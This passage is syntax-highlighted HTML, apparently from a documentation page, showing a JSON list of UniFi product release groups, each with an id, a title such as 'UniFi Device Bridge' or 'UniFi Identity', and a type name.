plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"8121e358-0c7d-4b2f-af5b-13a12c917f9c"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Connect Display"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"e4749181-08a9-4681-af21-2d2958703362"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Connect Display Cast"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"44c08b2a-235c-4f3b-b505-0c39d10dda88"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Connect Display Cast Lite"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"06c88d56-d51b-43b3-aee0-532af7151844"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Connect Display Cast Pro"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"43b4cc57-057f-48ec-a4f3-6481de10fc59"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Connect EV Station Lite"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"9fa6b70a-0b5c-463b-bb18-3c73f7930f94"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Connect EV Station Pro"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"fae05214-65f0-4313-8807-f676c9acf05b"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Connect iOS"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"2e16a8a8-2cf4-43f5-9bdb-8bcfbdc2cc82"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Data Center Leaf"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"179f8b6a-b845-49cd-8251-25a5be2689ee"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Design Center"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"88b88716-2086-4a56-889e-2465390f68d9"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Device Bridge"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"03472261-66e8-4de3-b54f-2c17f657ddcb"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Device Bridge IoT"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"aa605516-bec6-46b2-96e2-974660c4542b"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Device Bridge Pro/Sector"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"42bc529a-b39a-4494-a9d9-d91073dd3a81"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Device Bridge Switch"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"5433dcd6-4453-4297-a0b4-e048d14a26d6"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Drive Application"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"14db8557-2ccf-4ba1-8022-0de800e71f43"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Endpoint Android"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"912b4ca4-ff6a-4fce-b070-2152c370e981"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Endpoint iOS"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"f4fca470-c84d-47dd-b14b-39e62a4b5a81"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Endpoint macOS"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"82441cdc-ed29-4bb7-b13f-e8e43d37d2b4"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Endpoint Windows"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"2e66658f-e5fb-4b2a-a737-eef1fc3cc64e"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Enterprise Access Hub"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"4ec4e75d-46c1-45ce-b5af-319b990c0b47"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Enterprise Campus Aggregation"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"fc326a79-1cd8-4663-97e1-e68687e67fbd"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Gateways"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"fa6fa13d-5d50-427f-b7c6-b1396d276cc6"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Identity"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"9bd4d9b8-137b-4823-9d16-67203a4d59e9"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Identity Talk Phones"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"dd9e209d-49b6-4ee8-ab59-a528e68712be"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi InnerSpace"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"da75e1c3-0d9c-43b9-af65-da4fd1a9fb12"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi iOS"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"caa683c4-cf47-49a0-ae38-a833678b62a4"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi LED Application"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"81052a67-9b8c-47d1-b1f1-89c0f59cbb44"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi LTE"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            